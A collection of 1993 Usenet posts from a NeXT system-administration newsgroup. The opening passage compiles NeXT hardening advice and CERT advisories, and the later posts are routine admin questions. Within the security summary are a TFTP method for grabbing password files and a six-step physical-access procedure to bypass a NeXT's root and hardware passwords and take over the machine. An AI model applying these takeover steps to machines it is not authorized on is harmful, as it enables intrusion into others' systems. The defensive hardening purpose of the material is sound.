Mail) -I am not so sure about this one. I tried to write to root from a user account -in my 2.1 station and it did not work. Maybe this is a 3.0 feature? -By far the most detailed mail came from saieva@alehouse.acc.qc.edu: [I don't have much experience with other Unix systems but I can say some things about security on NeXT machines.] Out of the box a NeXT is a security problem waiting to happen, although it can be made to be very secure. I would suggest you read (carefully) the chapter on security in the NeXT Network and System Administration book (it is online in Digital Librarian); read the online version which will be the latest. You will probably want to enable all the precautionary measures advised in this chapter. (The trusted_networks Netinfo property is very important for NeXT machines on the Internet.) The NeXT also has a feature called Public Window Server which is en/disabled from the Preferences application. If enabled, the Public Window Server is a gaping security whole. Make sure this is disabled. Also, here are some things I do to NeXT systems when I unpack them: 1. chmod g-w,o-w / (since the root filesystem is writeable by everyone). 2. chmod o-rxw /usr/bin/{copy,paste} (since anyone can use these commands to modify the pasteboard of the current console user, the NeXT pasteboard server does no authentication, you might even want to remove these commands). 3. Comment out the line: exec stream tcp nowait root /usr/etc/rexecd rexecd from /etc/inetd.conf to disable remote commands, don't do this if you want to use rsh, rcp, etc. 4. Immediately set passwords on the root and me accounts, you might want to delete the me account. 5. Remove /etc/hosts.equiv. 6. chmod o-rwx /usr/bin/{nidump,niload,niutil} (so that users won't fiddle, although they can bring these programs over from another system, at least it doesn't make it easy for them). 7. chmod o-rwx /NextAdmin (so users without permission don't run these Admin apps, again, so they don't fiddle). 8. chmod o-rwx /{.cshrc,.NeXT,.hidden,.login,.profile,Mailboxes} (these files belong to the root user anyway). 9. Remove the _writers property from each Netinfo domain (this should be in the NeXT Admin manual). I can't think of anything else I might do but I might be missing something. In general, search thru the filesystem and look for problems with permissions and ownership. I feel my systems are pretty tight now, I'm running a cluster of seven machines. I would love to see a summary of responses since I'm constantly looking to improve security on my cluster. Sal. --- Salvatore Saieva, Unix Systems Administrator Queens College Academic Computer Center Internet: saieva@alehouse.acc.qc.edu 65-30 Kissena Blvd. BITNET: saieva@qcvaxa.bitnet Flushing, N.Y. 11367 DeskNet: (718) 997-5907 -Some genral advice: The NeXT is a UNIX system as is Sun and the rest. The same security measures you would take on a Sun apply to a NeXT... like commenting out services in /etc/inetd.conf you don't plan to use. The NeXT as shipped assumes a more open environment. Anyone interested in security should follow every recommendation in the security section of the NeXT documentation to close up some of those vulnerabilities. In addition, you should get and implement the security advisories from CERT that pertain to the NeXT from ftp.cert.org in pub/advisories. The latter applies to any UNIX system. In fact, you will note that there are many CERT advisories issued about security holes in Sun and DEC systems. There are only one or two issued about the NeXT. Keep in mind that some of the CERT advisories affect all UNIX systems, like the advisory on rdist security vulnerability. Barbara J. Dyker L a b y r i n t h ===================================================================== Senior Operations Consultant Computer Services Barb.Dyker@Labyrinth.COM PO Box 4626 (303)589-2327 Boulder, CO 80306 -I have looked up the relevant CERT advisories. Some are valid for -version 1.x and therefore I'll ignore them (if you want to know, -you can pick them up), because by now there will be very few systems -that are still running those versions of NeXTstep. -A number of the old guidelines are still valid: We've had reports of intruders attempting to exploit the following areas: 1) Use TFTP (Trivial File Transfer Protocol) to steal password files. To test your system for this vulnerability, connect to your system using TFTP and try 'get /etc/motd'. If you can do this, anyone else can get your password file as well. To avoid this problem, disable tftpd. In conjunction with this, encourage your users to choose passwords that are difficult to guess (e.g. words that are not contained in any dictionary of words of any language; no proper nouns, including names of "famous" real or imaginary characters; no acronyms that are common to computer professionals; no simple variations of first or last names, etc.) Furthermore, inform your users not to leave any clear text username/password information in files on any system. If an intruder can get a password file, he/she will usually take it to another machine and run password guessing programs on it. These programs involve large dictionary searches and run quickly even on slow machines. The experience of many sites is that most systems that do not put any controls on the types of passwords used probably have at least one password that can be guessed. 2) Exploit accounts without passwords or known passwords (accounts with vendor supplied default passwords are favorites). Also uses finger to get account names and then tries simple passwords. Scan your password file for extra UID 0 accounts, accounts with no password, or new entries in the password file. Always change vendor supplied default passwords when you install new system software. 3) Exploit holes in sendmail. Make sure you are running the latest sendmail from your vendor. BSD 5.61 fixes all known holes that the intruder is using. 4) Exploit bugs in old versions of FTP; exploit mis-configured anonymous FTP Make sure you are running the most recent version of FTP which is the Berkeley version 4.163 of Nov. 8 1988. Check with your vendor for information on configuration upgrades. Also check your anonymous FTP configuration. It is important to follow the instructions provided with the operating system to properly configure the files available through anonymous ftp (e.g., file permissions, ownership, group, etc.). Note especially that you should not use your system's standard password file as the password file for FTP. 5) Exploit the fingerd hole used by the Morris Internet worm. Make sure you're running a recent version of finger. Numerous Berkeley BSD derived versions of UNIX were vulnerable. Some other things to check for: 6) Check user's .rhosts files and the /etc/hosts.equiv files for systems outside your domain. Make sure all hosts in these files are authorized and that the files are not world-writable. 7) Examine all the files that are run by cron and at. We've seen intruders leave back doors in files run from cron or submitted to at. These techniques can let the intruder back on the system even after you've kicked him/her off. Also, verify that all files/programs referenced (directly or indirectly) by the cron and at jobs, and the job files themselves, are not world-writable. 8) If your machine supports uucp, check the L.cmds file to see if they've added extra commands and that it is owned by root (not by uucp!) and world-readable. Also, the L.sys file should not be world-readable or world-writable. 9) Examine the /usr/lib/aliases (mail alias) file for unauthorized entries. Some alias files include an alias named 'uudecode'; if this alias exists on your system, and you are not explicitly using it, then it should be removed. 10) Look for hidden files (files that start with a period and are normally not shown by ls) with odd names and/or setuid capabilities, as these can be used to "hide" information or privileged (setuid root) programs, including /bin/sh. Names such as '.. ' (dot dot space space), '...', and .xx have been used, as have ordinary looking names such as '.mail'. Places to look include especially /tmp, /usr/tmp, and hidden directories (frequently within users' home directories). 11) Check the integrity of critical system programs such as su, login, and telnet. Use a known, good copy of the program, such as the original distribution media and compare it with the program you are running. 12) Older versions of systems often have security vulnerabilities that are well known to intruders. One of the best defenses against problems is to upgrade to the latest version of your vendor's system. -The following is the '1991 posting' CA-91:06 CERT Advisory May 14, 1991 NeXT rexd, /private/etc, Username me Vulnerabilities --------------------------------------------------------------------------- The Computer Emergency Response Team/Coordination Center (CERT/CC) and NeXT Computer, Inc. have received information concerning three vulnerabilities in NeXT computers running various releases (see below) of NeXTstep software. For more information, please contact your authorized support center. If you are an authorized support provider, please contact NeXT through your normal channels. --------------------------------------------------------------------------- Problem 1 DESCRIPTION: By default, rexd(8C) is enabled in NeXTstep versions 2.0 and 2.1. (Note that no NeXT software uses rexd.) Problem 1 IMPACT: Leaving rexd enabled allows remote users to execute processes on a NeXT computer. Problem 1 SOLUTION: Comment out or remove the rexd line in /etc/inetd.conf (unless you're using the remote execution facility), and either restart the computer or cause inetd to re-read it's configuration file, using: kill -HUP <inetd pid> Problem 2 DESCRIPTION: The /private/etc directory is shipped with group write permission enabled in all NeXTstep versions through and including 2.1. Problem 2 IMPACT: Group write permission in /private/etc enables any user in the "wheel" group to modify files in the /private/etc directory. Problem 2 SOLUTION: Turn off group write permission for the /private/etc directory, using the command: chmod g-w /private/etc or the equivalent operations from the Workspace Manager's Inspector panel. Problem 3 DESCRIPTION: Username "me" is a member of the "wheel" group in all NeXTstep versions through and including 2.1. Problem 3 IMPACT: Having username "me" in the "wheel" group enables "me" to use the su(8) command to become root (the user must still know the root password, however). Problem 3 SOLUTION: Unless you have specific reason(s) not to, remove the user "me" from the wheel group. --------------------------------------------------------------------------- The CERT/CC would like to thank NeXT Computer, Inc. for their response to this vulnerability. CERT/CC would also like to thank Fuat Baran for his technical assistance. --------------------------------------------------------------------------- -The most recent one is: --------------------------------------------------------------------------- The Computer Emergency Response Team/Coordination Center (CERT/CC) has received information concerning a vulnerability in release 2 of NeXTstep's NetInfo default configuration. This vulnerability will be corrected in future versions of NeXTstep. --------------------------------------------------------------------------- I. Description By default, a NetInfo server process will provide information to any machine that requests it. II. Impact Remote users can gain unauthorized access to the network's administrative information such as the passwd file. III. Solution Ensure that the trusted_networks property of each NetInfo domain's root NetInfo directory is set correctly, so that only those systems which should be obtaining information from NetInfo are granted access. The value for the trusted_networks property should be the network numbers of the networks the server should trust. Note that improperly setting trusted_networks can render your network unusable. Consult Chapter 16, "Security", of the "NeXT Network and System Administration" manual for release 2 for details on setting the trusted_networks property of the root NetInfo directory. --------------------------------------------------------------------------- The CERT/CC wishes to thank NeXT Computer, Inc. for their cooperation in documenting and publicizing this security vulnerability. --------------------------------------------------------------------------- -I do not know whether the fact that there is far less about NeXT than about -SUN reflects the level of security or the number of users. -The following is a general UNIX problem. =========================================================================== CA-91:20 CERT Advisory October 22, 1991 /usr/ucb/rdist Vulnerability --------------------------------------------------------------------------- The Computer Emergency Response Team/Coordination Center (CERT/CC) has received information concerning a vulnerability in /usr/ucb/rdist (the location of rdist may vary depending on the operating system). This vulnerability is present in possibly all versions of rdist. Vendors responding with patches are listed below. Additionally, some vendors who do not include rdist in their operating systems are identified. Operating systems from vendors not listed in either of the two categories below will probably be affected and the CERT/CC has proposed a workaround for those systems. VENDORS THAT DO NOT SHIP rdist (Note: Even though these vendors do not ship rdist, it may have been added later (for example, by the system administrator). It is also possible that vendors porting one of these operating systems may have added rdist. In both cases corrective action must be taken.) Amdahl AT&T System V Data General DG/UX for AViiON Systems VENDORS PROVIDING PATCHES Cray Research, Inc. UNICOS 6.0/6.E/6.1 Field Alert #132 SPR 47600 For further information contact the Support Center at 1-800-950-CRAY or 612-683-5600 or e-mail support@crayamid.cray.com. NeXT Computer, Inc. NeXTstep Release 2.x A new version of rdist may be obtained from your authorized NeXT Support Center. If you are an authorized support center, please contact NeXT through your normal channels. NeXT also plans to make this new version of rdist available on the public NeXT FTP archives. Silicon Graphics IRIX 3.3.x/4.0 (fixed in 4.0.1) Patches may be obtained via anonymous ftp from sgi.com in the sgi/rdist directory. Sun Microsystems, Inc. SunOS 4.0.3/4.1/4.1.1 Patch ID 100383-02 Patches may be obtained via anonymous ftp from ftp.uu.net or from local Sun Answer Centers worldwide. The CERT/CC is hopeful that other patches will be forthcoming. We will be maintaining a status file, rdist-patch-status, on the cert.org system. We will add patch availability information to this file as it becomes known. The file is available via anonymous ftp to cert.org and is found in pub/cert_advisories/rdist-patch-status. All trademarks are the property of their respective holders. --------------------------------------------------------------------------- I. Description A security vulnerability exists in /usr/ucb/rdist that can be used to gain unauthorized privileges. Under some circumstances /usr/ucb/rdist can be used to create setuid root programs. II. Impact Any user logged into the system can gain root access. III. Solution A. If available, install the appropriate patch provided by your operating system vendor. B. If no patch is available, restrict the use of /usr/ucb/rdist by changing the permissions on the file. # chmod 711 /usr/ucb/rdist -The following I consider a security problem: By removing the Lithium -battery one can erease the hardware password (according to a discussion -last year). If the NeXT has EEPROMs, why is this? There is of course -another (bonafide) way to hack through the superuser password: -1: get yourself an external disk on a machine on which one is superuser -2: make it bootable -3: give it SCSI id 0 -4: hook it up to the machine that needs to be hacked -5: start up. Become superuser. Read hardware password (there exists a - little program for this -6: Back to old configuration and start in single user mode. Take over machine completely (set new superuser password). -The above is however not what the average hacker can do coming in from -a network. -Well, this is all I have up to know. If all system administrators were -to use the above advice to nail their system shut, life will become more -challenging for those who try to get around that. Jos Vermaseren
Newsgroups: comp.sys.next.sysadmin From: "Steve Hayman" <sahayman@cs.indiana.edu> Subject: Re: Always make backups Message-ID: <1993Jan18.125630.7185@news.cs.indiana.edu> Organization: NeXT Canada References: <1j65vmINN5ns@flop.ENGR.ORST.EDU> <1993Jan15.223742.25495@cs.ucla.edu> Date: Mon, 18 Jan 1993 12:56:21 -0500 I'd like to add one more item to Geoff's list of backup suggestions. VERIFY that your backup copy actually has the correct data in it. Try to restore something from your backup once in a while. You may find that that there was a bug in your backup procedure, and that certain things that you thought were being backed up every night are not actually safely resident in the backup copy. If there's a problem with your backups, you don't want to develop a false sense of security. Don't wait until you really need your backups to discover that, for instance, your backup script was only saving a copy of the symbolic link to the data files rather than the actual data files themselves. ..Steve -- Steve Hayman Systems Engineer, NeXT Canada Toronto, Ontario NeXT Mail: Steve_Hayman@NeXT.com (416) 607-4059
Newsgroups: comp.sys.next.sysadmin.ctl Control: cancel <1993Jan18.125401.7102@news.cs.indiana.edu> From: "Shing Shong Shei" <shei@cs.indiana.edu> Subject: cmsg cancel <1993Jan18.125401.7102@news.cs.indiana.edu> Message-ID: <1993Jan18.130108.7305@news.cs.indiana.edu> Organization: Computer Science, Indiana University Date: Mon, 18 Jan 1993 13:01:03 -0500
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy)) Subject: Re: HELP! System ALWAYS does disk check Message-ID: <HARDY.93Jan18103006@golem.ps.uci.edu> In-reply-to: louie@sayshell.umd.edu's message of 18 Jan 1993 17:15:18 GMT Newsgroups: comp.sys.next.sysadmin Organization: Department of Physics, UC Irvine, CA 92717-4575, USA References: <1993Jan17.195642.393@count0.cmhnet.org> <1jeoj6INNd8r@ni.umd.edu> Date: 18 Jan 93 18:30:09 GMT In article <1jeoj6INNd8r@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) writes: > To shut the system down, just use "shutdown" or "halt" with no > options. It works for me. Or even plain "reboot" (without options, as root), will first sync the disk and mark it as clean. I do this about once a week to regain swap-space. -- Hardy ----- Meinhard E. Mayer, Department of Physics, UC Irvine e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET !!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
Newsgroups: comp.sys.next.sysadmin From: ajetha@musecorp.musecorp.com (Alykhan Jetha) Subject: Help with NewsGrazer Message-ID: <9301182204.AA21041@musecorp.musecorp.com> Sender: daemon@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Mon, 18 Jan 1993 21:57:23 GMT Hello, I'm using CNews and NewsGrazer to read news. Unfortunately I cannot seem to post from NewsGrazer. Many people have told me not to use NewsGrazer, unfortunately, the execs here do not like the read news from a terminal window. So I don't have much choice, I have to figure it out. At this site, we don't send news to any other sites, we are the end of the pipe. I think the problem lies with the CNews section of it. When I post a message, a dead.article is produced (in my root directory), however, there is nothing in the /usr/spool/news/out.going or /usr/spool/news/out.going/bad. Also, the /usr/local/bin/news/ctl/batchparams file I have is the default one. I have modified only one line. (our server name is musecorp) # site size queue builder muncher sender # ---- ---- ----- ------- ------- ------ /default/ 500000 12 batcher nocomp viauux musecorp 500000 12 batcher comp16 viauux My /etc/crontab.local looks like this: # # /---------------\ # ! do news stuff ! # \---------------/ # 00,15,30,45 * * * * root su news -c '/usr/local/bin/news/input/newsrun' 00 00 * * * root su news -c '/usr/local/bin/news/input/newsrunning on' 00 01 * * * root su news -c '/usr/local/bin/news/batch/sendbatches' 00 04 * * * root su news -c '/usr/local/bin/news/expire/doexpire' 00 05 * * * root su news -c '/usr/local/bin/news/maint/newsdaily' 30 05 * * * root su news -c '/usr/local/bin/news/maint/newswatch' # Can somebody help?????? Regards, AlyKhan Jetha Muse Corp.
Newsgroups: comp.sys.next.sysadmin From: beksten@ucqais.cba.uc.edu (Brick Eksten) Subject: getting NeXT Mail Message-ID: <48@ucqais.cba.uc.edu> Summary: Can I receive NeXT Mail at my non next unix account? Keywords: NeXT Mail Sender: root@babbage.ece.uc.edu (Operator) Organization: University of Cincinnati, College of Business Distribution: US Date: Fri, 15 Jan 1993 05:45:54 GMT I have a dial in usenet account at which I recieve all my mail. Can I somehow receive NeXT mail at this account and read it on my NeXT machine? (after transfering it to the NeXT that is). Guess that wasn't clear, I don't use the NeXT to dial up, I use an Amiga. The NeXT is usually busy doing something. -- Brick Eksten Eco Development beksten@ucqais.cba.uc.edu % If this ain't fun I don't know what fun is? % EcoDev@cup.portal.com
Newsgroups: comp.sys.next.sysadmin From: b_brottier@cubx.com Subject: Re: How to change language (loginwindow) Message-ID: <1993Jan18.124719.11072@cubx.fdn.org> Sender: news@cubx.fdn.org Organization: Cub'X Systemes, France. References: <1j54vpINN53i@network.ucsd.edu> Date: Mon, 18 Jan 1993 12:47:19 GMT In article <1j54vpINN53i@network.ucsd.edu> wade@hobbes.ucsd.edu (Wade Blomgren) writes: | | A user got to one of our turbo slabs that had just been upgraded to 3.0 | before we did, and mischievously set the language and keyboard to | French instead of the desired English, in the configuration application | that comes up on the first reboot after a 3.0 install. | | I managed to find the right keys on the keyboard to feed in the root | password and get in, and I changed the root prefs to USA keyboard and | English, and now it seems if the average user logs in s/he gets an | English environment, but the loginwindow is still in French. I | rdist'd /.NeXT and /usr/lib/NextStep from a machine configured for | English and rebooted but the login window is still in French. | No other likely files presented themselves in an rdist comparison | of the tow machines. | | Suggestions on how to force the language back to English would be | most welcome. | | Wade Blomgren | wade@hobbes.ucsd.edu Just destroy /etc/hostconfig /etc/netinfo and put /usr/template/client/etc/hostconfig /usr/template/client/etc//netinfo at the previous place Then power-down. When power-up, you will have the NetInfo panel one more time, and check the correct items. Hope this helps -- --------------------------- Bruno Brottier -- Responsable Formation Societe improve sa, 41-41 bis, avenue de l'Europe 78140 VELIZY Tel : (+33) (1) 30 70 60 56 Fax : (+33) (1) 30 70 89 36 E-mail: b_brottier@cubx.com -- [NeXTmail]
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: moose@aoa.utc.com (Bruce Trvalik) Subject: next scsi bus Message-ID: <1993Jan18.234747.8011@aoa.aoa.utc.com> Sender: news@aoa.aoa.utc.com (USENET News System) Organization: Adaptive Optics Associates Date: Mon, 18 Jan 1993 23:47:47 GMT I need to access a device across the scsi bus that requires 512 byte blocks from a raw (character) device. The device is a frame grabber that emulates a 512 byte/sector hard disk. I've noticed that in disktab it says that ss MUST be 1024. If I allow the system to initialize and format it, the system can create a filesystem & It appears to be a 1Mb disk... that's good (it contains 1 Mb of memory). However the device uses block 0 for input & block 1 for output. The output buffer appears to get corrupted when I attempt to read from it. If I try to access it without initializing & formatting it, I get errno 6 (no such device or address). If I try to access it without connecting it to the scsi bus I get a bus error.. Any ideas? Note: I am using a NeXT station color Turbo with NS 2.2 -- * Bruce Trvalik AOA-----------------* * (617)864-0201 A mind is a terrible thing to loose - D. Qaaele (ha!) * moose@aoa.utc.com * aoa!moose@bbn.com
Newsgroups: comp.sys.next.sysadmin Subject: NeXTStep 3.0->2.1 downgrade Message-ID: <1993Jan18.195632.20978@yang.earlham.edu> From: tim@polycarp (Tim McLarnan) Date: 18 Jan 93 19:56:32 EST Distribution: world I run a small lab of NeXTs. All my machines are NextStations running NeXTStep 2.1. We recently spent the last bit of our grant buying a Turbo, which naturally arrived with NeXTStep 3.0. I can get this machine running on our network, but I'd strongly like all our machines to look identical to our students. We can't afford to upgrade them all to 3.0 right now. Does anything prevent me from running BuildDisk on the Turbo and downgrading its OS to 2.1 until we can upgrade all the machines? I don't want to try this and find out that there's something in the ROMs that requires NeXTStep 3.0 or higher. (Can you tell I also manage Macs :-) Tim McLarnan tim@math.earlham.edu Dept of Mathematics, Earlham College, Richmond, IN 47374 USA -- Tim McLarnan tim@math.earlham.edu Dept. of Mathematics, Earlham College, Richmond, IN 47374
Newsgroups: comp.sys.next.sysadmin From: ralf@rafa.in-berlin.de(Ralf Neumann) Subject: explist file don't work HELP!!! Message-ID: <1993Jan18.212140.538@rafa.in-berlin.de> Sender: ralf@rafa.in-berlin.de Organization: no Date: Mon, 18 Jan 1993 21:21:40 GMT Hello! My explist file don't work how I want it. It looks like this: # modified version, no archiving # # hold onto history lines 14 days, nobody gets >90 days /expired/ x 14 - /bounds/ x 0-1-90 - # override later defaults for some groups of note sci.space.shuttle,rec.birds x 3 - de.comp.sys.next x 30 - cl.antifa x 7 - comp.benchmarks x 3 - comp.soft-sys x 3 - comp.sys x 3 - comp.sys.next x 30 - comp.text.frame x 30 - bit.listserv.scuba x 14 - soc.culture.caribbean x 3 - # big non-tech groups held long enough for a long weekend sci,rec,talk,soc,misc,alt u 3 - # real noise gets thrown away fast news.groups x 0 - junk,tor.news.stats x 0 - comp.sys.amiga x 0 - # default: 7 days and archive all x 7 - After expiring it has deleted also the comp.sys.next and the comp.sys.frame articles which I just have changed to a longer periode than one week (now set to 30 days before 7 days):-( What is wrong? How can I protect this groups 30 days or longer? Any help would be very welcome!!! Excuse me that I write it in this group but I didn't know where to place it! So long * * * Ralf * * * -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% *| Ralf Neumann | ralf@rafa.in-berlin.de | Try NeXTmail please! |* *| ************ | Voice +49 30 / 321 78 84 | Fax +49 30 / 321 28 68|* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: mjones@magnus.acs.ohio-state.edu (Charles R Morrow-Jones) Subject: Is there a GRASS port Message-ID: <1993Jan19.173233.12557@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Tue, 19 Jan 1993 17:32:33 GMT Does anyone know whether a program called GRASS has been ported to the NeXT? It is apparently a mapping package that was originally developed for SUNs. Thanks. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=- Charles R. Morrow-Jones (614) 292-1302 Assistant Director, Office of Academic Computing The Ohio State University Columbus, Ohio 43212-1154 mjones@osc.edu -or- morrow-jones.2@osu.edu -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-
Newsgroups: comp.sys.next.sysadmin From: timbuck@borg.lib.vt.edu (Tim Buck) Subject: Re: NeXTStep 3.0->2.1 downgrade Message-ID: <1993Jan19.183653.26246@ecsvax.uncecs.edu> Sender: usenet@ecsvax.uncecs.edu (News Administrator) Organization: Los Alamos National Laboratory, NM References: <1993Jan18.195632.20978@yang.earlham.edu> Date: Tue, 19 Jan 1993 18:36:53 GMT In article <1993Jan18.195632.20978@yang.earlham.edu> tim@polycarp (Tim McLarnan) writes: > >I don't want to try this and find out that there's something in the >ROMs that requires NeXTStep 3.0 or higher. (Can you tell I also I don't know how easy or difficult it will be to downgrade from 3.0, but the Turbo machines *DO* require NeXTStep 2.2 or higher. -- Tim Buck rri!tim@vtserf.cc.vt.edu Recognition Research, Inc. timbuck@borg.lib.vt.edu Blacksburg, VA 24060 ------------------- Standard disclaimers apply -------------------
Newsgroups: comp.sys.next.sysadmin From: gcolello@biosphere.Stanford.EDU (Greg Colello) Subject: Need Network Retries Monitor Message-ID: <1993Jan19.185055.5236@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Tue, 19 Jan 93 18:50:55 GMT Our local network seems to be "degraded", but still functional. The degradation is not due to user traffic which is normal. It appears to be performing lots of retries in the background, but packets are usually successfully received (as shown by ping). Occassionally things REALLY degrade and packets get lost for a period of time spread out over an hour. Then things get better. No doubt we have a wiring problem somewhere, but it's hard to fix when we don't have a good diagnostic of the marginal functionality. I think we need a way to track the number of retries being performed to get a better handle on our marginal network health. Is there a program that accumulates statistics on network retries? I have run all the utilities referred to by the man pages (for example nfsstats and ping). They don't seem to keep track of retries. I also have the public archive Next app KPerfMon. It shows network packet activity, but that's all. Thanks. ----------------------------------------------------------------- Greg Colello Carnegie Institution, Department of Plant Biology Stanford University gcolello@biosphere.stanford.edu (NeXT mail OK)
Newsgroups: comp.sys.next.sysadmin From: djd@glv.com (David Deininger) Subject: exporting CD Rom disk Message-ID: <1993Jan19.184030.12773@glv.uucp> Sender: usenet@glv.uucp Organization: Encompass Date: Tue, 19 Jan 1993 18:40:30 GMT I'm trying to export a NeXT CD Rom disk from a NeXT to a bunch of other NeXTs. What do I have to do? If I need an entry in /etc/fstab, what should it look like? Is there any written documentation of how to do this? I'm not even sure what I should describe to make solving this problem easier. _Any_ help would be much appreciated! Thanks, David Deininger (djd@glv.com)
From: fab9452@nigel.tamu.edu (Allan Bailey) Newsgroups: comp.sys.next.sysadmin Subject: Upgrading NeXTstations w/ only 100Mb disks (clients)? Date: 19 Jan 93 15:33:25 Organization: Computing Services Center, Texas A & M University Distribution: comp Message-ID: <FAB9452.93Jan19153325@nigel.tamu.edu> Help! :-) I keep running out of disk space on these puppies. I have a server that exports most stuff to the clients. But the Upgrade_3.0.app slurps up the disk space via the /private/vm/swapfile growth phenomenon. Is there anyway to make swapfile stay put? Maybe if i just deleted it..... any help would be greatly appreciated. -- Allan Bailey, UNIX programmer, CSC | fab9452@nigel.tamu.edu | or: nefud-the-delirious@tamu.edu 616c6c616e206261696c6579 |
Newsgroups: comp.sys.next.sysadmin From: jmuscat@nexus.yorku.ca (John Muscat) Subject: HELP: NI Clone messes up net on NI master reboot Message-ID: <1993Jan19.222623.8444@newshub.ccs.yorku.ca> Originator: jmuscat@nexus.yorku.ca Sender: news@newshub.ccs.yorku.ca (USENET News System) Organization: York University, Toronto, Canada Date: Tue, 19 Jan 1993 22:26:23 GMT I'm managing a Netinfo network which is composed of a netinfo master (NIMAST), a netinfo clone (NICLONE), a filesever (NISERV) and a number of machines which are netinfo clients. To maintain flexibilty in the net for reconfiguration I use machine name aliases for machines which provide a service (eg. MAILHOST for the mail machine and HOMEHOST for the fileserver). Since upgrading the net from NS 2.2 to NS 3.0 I've noticed a peculiar problem that occurs when NIMAST is rebooted. Under 2.2 NICLONE would takeover and service requests for user and machine information. However, under 3.0 the NICLONE machine services most requests however knows nothing about machine name aliases. When a client machine makes a request for the info the NICLONE returns 'host unknown'. One consequence is users can login and be validated but lose there homedir since HOMEHOST is unknown (ie the homedir is /Net/HOMEHOST/Users...). I haven't been able to afford the downtime but mail may also be affected since I got a 'host unkown' for MAILHOST as well. The problem persists even after the NIMAST completes rebooting. The only solution is to reboot the NICLONE and if neccessary reboot any clients who still respond 'host unknown'. This works since on a reboot of NICLONE it rebuilds its nidb from the already running NIMAST. I suspect one of two things along with a possible solution: 1. NS 3.0 doesn't handle machine name aliases properly under this scenario. Hence, I will have to remove name aliases and lose some flexibility. However, I still have a problem with the MAILHOST alias since this is built into the mail setup for Netinfo & Sendmail. 2. In the process of upgrading the Net the NICLONE netinfo nidb got corrupted and doesn't rebuild itself properly. Hence, I will have to unmake the NICLONE as a netinfo clone and make it a clone again from scratch (to be on the safe I'll choose a new clone). NOTE: I did a 'niutil -list / /machines' on NICLONE and it listed back the aliases properly. I also tried nifix. Before taking the possible actions in 1 or 2 has anyone else noticed this problem and found a solution for it? Does anyone have any comments on my suspicions and possible solutions? Quick help much appreciated since I'm one reboot away from chaos, John ------------------------------------------------------------------------------- John Muscat Mathematics & Statistics York University North York, Canada M3J 1P3 email: jmuscat@nexus.yorku.ca voice: (416) 736-2100 x88604 fax: (416) 736-5735 -------------------------------------------------------------------------------
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.sysadmin Subject: Call for Presentation Topics: 1993 NeXTWORLD Expo Message-ID: <6309@rosie.NeXT.COM> Date: 19 Jan 93 22:27:12 GMT Sender: news@NeXT.COM Dear NeXT User, If you will be attending the 1993 NeXTWORLD Expo to be held in San Francisco, California - May 25-27, 1993, please read on... Enclosed is a Presentation Proposal Form to be completed by anyone interested in becoming a speaker at this year's NeXTWORLD Expo User and Developer Conference programs. Email your completed form today to info@next.com. The deadline for submissions is Monday, January 25th. Best wishes, Conrad Geiger Manager, International NeXT User Groups P.S. Call to get on the postal mailing list for advanced registration and more information about the 1993 NeXTWORLD Expo: 1-800-767-2336 -or- from outside North America call 508-470-3880 -or- fax (508)470-0526. ____________________________________________________________________ NeXTWORLD Expo '93 Conferences Presentation Proposal Form Name: Title: Organization: Address: City: State: Zip: Phone Number: Topic Information Title: Category (Please indicate the most appropriate area to which your presentation topic relates): [] Client/Server Computing Issues [] Enterprise-Wide Deployment [] Application Development Issues [] Building Database Applications [] Interoperability & Networking [] Object-Oriented Technology Abstract (Please prepare a 100-word summary of your topic covering its goals, key points, issues, and experiences, etc.) Complete and email this form with the Subject heading: "NeXTWORLD Expo '93 User Conference [65KVER]" to: info@next.com. >> Deadline for Submissions is 1/25/93 >>
Newsgroups: comp.sys.next.sysadmin From: shmuli@techunix.technion.ac.il (Shmuel Browns) Subject: Explanation of message during boot? Organization: Technion, Israel Institute of Technology Date: Tue, 19 Jan 1993 21:23:21 GMT Message-ID: <shmuli.727478601@techunix.technion.ac.il> Sender: news@wang.com All of a sudden (or at least I never noticed it before), I get a message right at the end of the boot sequence: Windowserver Problem starting the NeXTdimension.psdrvr routine... First of all, it's very hard to read it because almost instantaneously it disappears and I get the regular login window. Is there a file somewhere where the boot messages on the console are stored? I don't have a NeXTDimension board. I'm running on a mono NeXTstation, recently upgraded to 20MB RAM. I found the file NeXTdimension.psdrvr under /usr/lib/NextStep/Displays - could someone send me a ls -l of this directory? I don't have access to another NeXT running 2.1 - so I can't tell if I'm missing some file or other (fsck did complain about an unreferenced file). Thanks for your help, Shmuel --- Shmuel Browns, NeXT, Macintosh & Unix Technical Support Director YIN - Israel NeXT user group INTERNET: shmuli@shum.cc.huji.ac.il FAX: +972-2-862547 VOICE: +972-2-610785 SNAIL: 24 Hazefira, Jerusalem 93102 ISRAEL
Newsgroups: comp.sys.next.sysadmin From: timbuck@borg.lib.vt.edu (Tim Buck) Subject: Re: exporting CD Rom disk Message-ID: <1993Jan20.005038.4020@ecsvax.uncecs.edu> Sender: usenet@ecsvax.uncecs.edu (News Administrator) Organization: Los Alamos National Laboratory, NM References: <1993Jan19.184030.12773@glv.uucp> Date: Wed, 20 Jan 1993 00:50:38 GMT Please summarize the responses you get on this -- I'm interested in this as well. -- Tim Buck rri!tim@vtserf.cc.vt.edu Recognition Research, Inc. timbuck@borg.lib.vt.edu Blacksburg, VA 24060 ------------------- Standard disclaimers apply -------------------
